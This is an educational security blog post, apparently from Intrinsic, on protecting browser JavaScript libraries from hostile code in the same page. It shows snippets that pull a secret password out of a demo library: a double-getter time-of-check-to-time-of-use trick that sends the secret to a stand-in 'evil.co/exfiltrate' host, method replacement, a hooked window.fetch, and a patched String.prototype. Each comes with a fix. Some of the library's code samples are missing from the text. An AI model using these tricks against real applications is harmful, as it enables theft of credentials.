Protecting your JavaScript APIs

When writing JavaScript libraries developers generally consider the user of the library to be well intentioned. Though they may add runtime checks (e.g., “the third argument is expected to be a string”) to APIs to prevent misuse, most libraries are not designed to interact with malicious code. But suppose your users were malicious. What does it take to make a JavaScript library robust against a malicious environment?

In this article we’re going to consider a browser-based JavaScript API and look at ways to protect it from a malicious actor who interacts with it. (Node.js has other concerns we won’t be looking at, such as its lack of memory safety). In these situations we’re going to assume our library code has loaded before the malicious actor is able to make changes. (If the malicious actor has already had a chance to prepare the environment then all bets are off.)

This article is meant to be educational, but the approach we’ll take is more from a fun game of cat-and-mouse approach than necessarily being a practical, easy-to-implement approach.

In these examples we’ll consider the situation where a library contains a secret string and the attacker wants to extract that string by any means possible. Essentially, the attacker is able to eval() code within the application. Such a situation isn't as uncommon as you would think; consider a tool like AWS Lambda which does its own initialization then executes JavaScript provided by a third party. Let’s start with the following frontend JavaScript library file:

The above file can be loaded by way of <script src="sensitive.js"></script>.

This code is then usable by another script loaded in the same session by doing the following:

const s = new Sensitive();
s.transmit('message', (err, res) => {});

How many ways to steal the Z1ON0101 password can you think of?

Hiding private values

This first attempt at getting the password is the most straightforward approach our attacker can take. As soon as the attacker has access to the Sensitive class, they can simply instantiate it and grab the _password field.

const s = new Sensitive();
alert(s._password);
Fun fact: In JavaScript, a function can be coerced into a string. When this happens you actually get access to the code of that function. Also, if you stringify a class, you’ll get access to all the code for that class. This means an attacker can figure out the password by simply calling alert(String(Sensitive))!

Fixing this first class of problems can be solved by creating a closure. That approach looks like the following:

Now the attacker can no longer stringify the Sensitive function. They also can't grab the _password field as it no longer exists on the object, but is instead a variable in an inaccessible context.

Double getters

It might feel like we’ve properly protected our password from the attacker but they’ve got a few tricks hidden up their sleeves. There is a vulnerability in the constructor function we’ve got here. We’ve attempted to write the code to prevent the library from sending requests to domains other than example.com. Unfortunately a carefully crafted options object can bypass our simple validation:

let x = 0;
const options = {
get url() {
if (++x <= 2) {
return 'https://example.com/post';
}
return 'http://evil.co/exfiltrate';
}
};
(new Sensitive(options)).transmit('foo', () => {});

This options object will trick our library into transmitting the password to the evil.co domain. The reason for this is the multiple object property lookups we're performing in our library code. When we do the typeof check that fires the get for the first time. When we check to see if the string startsWith a value, that's the second get call. Each one of these checks increments the x counter. Finally, once we actually retrieve the value and assign it to url, the third get call has been performed. At that point the getter returns the “mutated” value.

Fixing this is as easy as reading the object property a single time:

This is an example of a Time of check to time of use bug. We affectionately refer to it as the “double getter” attack around the Intrinsic office, and we take care to prevent such an attack when application code interacts with Node.js APIs.

Preventing basic modifications

Now that we’ve fixed the double getter bug, surely the password is now safe. Unfortunately there’s another way an attacker can extract data from our library. The getAuthorization method is exposed to the consuming code and can be replaced with another method. Consider the following attack:

const s = new Sensitive();
const backupGetAuthorization = s.getAuthorization;
s.getAuthorization = function(pw) {
alert(pw);
return backupGetAuthorization(pw);
};
s.transmit('message', (err, res) => {});

How can we prevent this issue from happening? One approach is to prevent extensions to the exported Sensitive instance. We have a whole article on this at JavaScript Object Property Descriptors, Proxies, and Preventing Extension, but we'll cover just enough content here to lock down our library.

There are a few ways to prevent extensions to an object but the most straightforward approach is to use Object.freeze(). This method will essentially make it so that an object can no longer be mutated.

To do this we can modify our example like so:

(Technically in this example we could have removed the getAuthorization method from the returned object, since it doesn't require access to this within the method, simply declaring it as an unexposed function.)

Locking down APIs we rely on

Even though our code is rather locked down by now, our attacker is ruthless and will stop at nothing. The next attack vector we’ll examine is a dependency of the library code. This dependency exists in the form of a global called window.fetch. This is a browser-provided function for making HTTP requests. Even though it's built-in to the browser it can be modified, much like how the attacker was able to replace the getAuthorization method on the object we had returned.

The attacker may replace the fetch method by doing the following:

const originalFetch = window.fetch;
window.fetch = function(url, options) {
alert(options.headers.Authorization);
return originalFetch(url, options);
};

Since our library is loaded before the attacker has been able to run code we can defend against this attack by grabbing a copy of the global fetch function before it can be switched. Doing so would look like this:

Once we’ve done that, any future modifications to window.fetch will not affect our code. Also note that we've backed up Object.freeze and btoa for the same purposes.

One thing that we’re not going to look at in this article is how dependencies in Node.js are affected. Specifically, there are very large implications when it comes to the require cache. Also, consider that with Node.js, if you've got an object which you don't normally provide to the calling environment, but that object can be retrieved specifically by require('module/file.js'), then that's yet another way to access objects in an unanticipated manner.

Modifications to global prototypes

Here’s a quick example of how powerful prototypes in JavaScript are:

const startsWithBackup = String.prototype.startsWith;
String.prototype.startsWith = () => true;
(new Sensitive({url: 'http://evil.co' }))
.transmit('foo', () => {});
String.prototype.startsWith = startsWithBackup;

This example temporarily changes every string within the application for a short amount of time. The change will allow the library validation to pass regardless of the string being passed in.

This can be avoided by grabbing the original method and caching it, much like we did in the Locking down dependencies section. Here is an example of doing this:

{
const startsWithBackup = String.prototype.startsWith;
// ...
startsWithBackup.bind("xyz")("x");
}

This is just a simple example but the implications are much worse when you consider that an attacker can change the prototype for every single object by doing the following:

Object.prototype.toString = () => 'foo';

All sorts of chaos can happen when such a change is made in an application. It is possible to get around some of these situations by making objects which don’t use the global Object prototype:

const obj = Object.create(null);

In this case, obj wouldn't be affected by the previous modification to the Object prototype. But this represents a lot of manual work and really isn't too feasible of an approach.

Conclusion

We showed many ways to get at the password, and after reading through all of these techniques, you probably have an appreciation for how powerful an attacker can be. There are likely more ways to get at the password (we can think of a few!). Were you able to find any other methods for exfiltrating the password? If so, let us know on Twitter at @intrinsic!


Have you appreciated the level of paranoia that we’ve covered in this article? Well, it just so happens that we’ve built a security product which employs just as much paranoia. We harden the Node.js APIs and provide a system for whitelisting the operations which your Node.js process is allowed to perform. Every step of the way we consider different attacks like the ones shown above.

Our product is able to keep an application running using multiple sandboxes. Remember how painful it was to deal with locking down object prototypes and preventing malicious code from wreaking havoc all over an application? Well, we’ve built our sandboxing technology in such a way that one sandbox is never able to mutate the object prototypes in another sandbox. But, this is just one of many examples of how we secure an application. We take the dependable secure-by-construction approach, as opposed to the narrative-friendly plug-the-leaks approach used in this article.

If you’re interested in providing fine-grained policies to your Node.js application then check out our product: Intrinsic.

Banner Photo by Jose Fontano.